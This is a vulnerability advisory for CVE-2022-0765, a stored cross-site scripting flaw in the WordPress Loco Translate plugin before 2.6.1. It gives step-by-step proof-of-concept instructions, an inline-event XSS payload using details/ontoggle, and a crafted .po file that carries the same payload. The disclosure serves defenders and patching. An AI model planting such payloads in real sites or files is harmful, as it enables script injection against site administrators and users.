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WordPress Loco Translate Cross Site Scripting

WordPress Loco Translate Cross Site Scripting
Posted Apr 7, 2022
Authored by Taurus Omar

WordPress Loco Translate plugin versions prior to 2.6.1 suffer from a persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2022-0765
SHA-256 | 89947839a0f022f27bf4e7359d1a8f8308d5cfc0bacc3631b9f3c6128744b460

WordPress Loco Translate Cross Site Scripting

Change Mirror Download
Tittle:
WordPress Plugin Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting

References:
CVE-2022-0765

Author:
Taurus Omar

Description:
The plugin does not properly remove inline events from elements in the source translation strings before outputting them in the editor in the plugin admin panel, allowing any user with access to the plugin (Translator and Administrator by default) to add arbitrary javascript payloads to the source strings leading to a stored cross-site scripting (XSS) vulnerability.

Affects Plugins:
loco-translate - Fixed in version 2.6.1

Proof of Concept:
## POC1: via (edit-template)

1.) Got to Plugin Loco Translate
2.) Enter Plugins Options
3.) Enter Edit Template Any Plugin
4.) Add New Message
5.) Edit Message
6.) Replace The Message With The Payload : ">'><details/open/ontoggle=alert('xss')>
7.) Save
8.) Replicated


## POC2 via (example.po)

1.) Got to Plugin Loco Translate
2.) Enter Plugins Options Any Plugin
3.) Upload PO options
3.) Load example.po

Example.po

msgid ""
msgstr ""
"Project-Id-Version: xss-tester\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2022-02-25 03:48+0000\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: \n"
"Language: \n"
"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Loco https://localise.biz/\n"
"X-Loco-Version: 2.5.8; wp-5.9.1\n"
"X-Domain: xss-tester"
msgid "xss-tester"
msgstr ""
msgid "\">'><details/open/ontoggle=confirm('XSS')>"
msgstr ""

Classification:
Type XSS
OWASP top 10 A7: Cross-Site Scripting (XSS)
CWE-79

wpScan:
https://wpscan.com/vulnerability/58838f51-323d-41e0-8c85-8e113dc2c587

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